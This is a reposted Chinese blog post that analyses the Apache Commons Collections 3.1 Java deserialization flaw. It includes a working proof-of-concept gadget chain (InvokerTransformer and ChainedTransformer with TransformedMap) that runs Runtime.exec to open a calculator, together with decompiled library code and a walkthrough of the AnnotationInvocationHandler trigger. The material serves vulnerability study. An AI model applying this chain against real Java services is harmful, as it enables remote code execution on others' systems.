commons-collections-3.1 反序列化分析

@Author: Patrilic @Time: 2020-3-19 23:24:22

commons-collections-3.1 反序列化分析

0x00 Build

Jdk version : 7u80

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

    </dependencies>

</project>

0x01 Poc

package com.patrilic.vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class EvalObject {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

commons-collections-3.1 反序列化分析

0x02 漏洞分析

简单一看,最终在

org/apache/commons/collections/functors/InvokerTransformer.class:125


调用了Method.invoke()执行了 java.lang.Runtime.getRuntime().exec


commons-collections-3.1 反序列化分析

InvokerTransformer.class

InvokerTransformer.class
提供了一个Object方法,用Java反射的机制去创建类实例

commons-collections-3.1 反序列化分析

可以通过直接调用InvokerTransformer的反射机制去调用 java.class.Runtime()

package com.patrilic.vul;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec", 
                new Class[]{String.class}, 
                new Object[]{"open -a Calculator.app"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

commons-collections-3.1 反序列化分析

利用链

Poc这里并没有直接调用 InvokerTransformer
,而是通过 ChainedTransformer

commons-collections-3.1 反序列化分析

源码比较少,全部贴出来

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;

    public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if (transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

    public static Transformer getInstance(Collection transformers) {
        if (transformers == null) {
            throw new IllegalArgumentException("Transformer collection must not be null");
        } else if (transformers.size() == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            Transformer[] cmds = new Transformer[transformers.size()];
            int i = 0;

            for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) {
            }

            FunctorUtils.validate(cmds);
            return new ChainedTransformer(cmds);
        }
    }

    public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
        if (transformer1 != null && transformer2 != null) {
            Transformer[] transformers = new Transformer[]{transformer1, transformer2};
            return new ChainedTransformer(transformers);
        } else {
            throw new IllegalArgumentException("Transformers must not be null");
        }
    }

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

    public Transformer[] getTransformers() {
        return this.iTransformers;
    }
}

可以看到ChainedTransformer实现了Transformer接口

commons-collections-3.1 反序列化分析
重构了transform,当我们传入类时,会一起去调用每一个 Transformer.thransform()


commons-collections-3.1 反序列化分析

那么也就是说,最终处理的还是 InvokerTransformer
类,同样的,那么我们也可以利用 ChainedTransformer
去实现 java.lang.Runtime
的调用

commons-collections-3.1 反序列化分析

ChainedTransformer 调用

commons-collections-3.1 反序列化分析

会直接调用

org/apache/commons/collections/functors/InvokerTransformer.class


commons-collections-3.1 反序列化分析

经过一共四次for循环

commons-collections-3.1 反序列化分析

commons-collections-3.1 反序列化分析

调用 Runtime.exec()

回到利用链里,这个poc使用了一个Map对象,然后调用了 TransformedMap.decorate
方法

commons-collections-3.1 反序列化分析

经过静态方法decorate可以实例化 TransformedMap


commons-collections-3.1 反序列化分析

经过构造函数赋值后

commons-collections-3.1 反序列化分析

如果满足了valueTransformer,那么就可以直接调用 InvokerTransformer#transform


commons-collections-3.1 反序列化分析

也就是说,只要我们传入任意 setValue/put/putAll
方法,都可以满足这个条件

commons-collections-3.1 反序列化分析

当然,这样确实是可以成功调用transform方法,调用Runtime.exec()

但是接着跟Poc,却发现触发点并不在那,而是通过entrySet()方法

commons-collections-3.1 反序列化分析

commons-collections-3.1 反序列化分析

然后在运行到 onlyElement.setValue("foobar");
的时候,触发 CheckSetValue()
方法

commons-collections-3.1 反序列化分析

commons-collections-3.1 反序列化分析

所以只要我们去调用 SetVaule()
就可以直接调用transform方法

AnnotationInvocationHandler

如果要完成反序列化,那么必须找一个readObject()中调用了 TransformedMap::MapEntry#setValue()
的类

sun/reflect/annotation/AnnotationInvocationHandler.class

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

那么,现在的问题就是,我们怎么样才能顺利的进入 var5.setValue()
这里来。

commons-collections-3.1 反序列化分析

commons-collections-3.1 反序列化分析

确保var7获取到 java.lang.annotation.RetentionPolicy


芜湖~起飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞飞

完整调用栈

commons-collections-3.1 反序列化分析

原文 
https://patrilic.top/2020/03/19/commons-collections-3.1 反序列化分析/

本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。

PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » commons-collections-3.1 反序列化分析

赞 (0)
分享到:更多 ()

评论 0

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址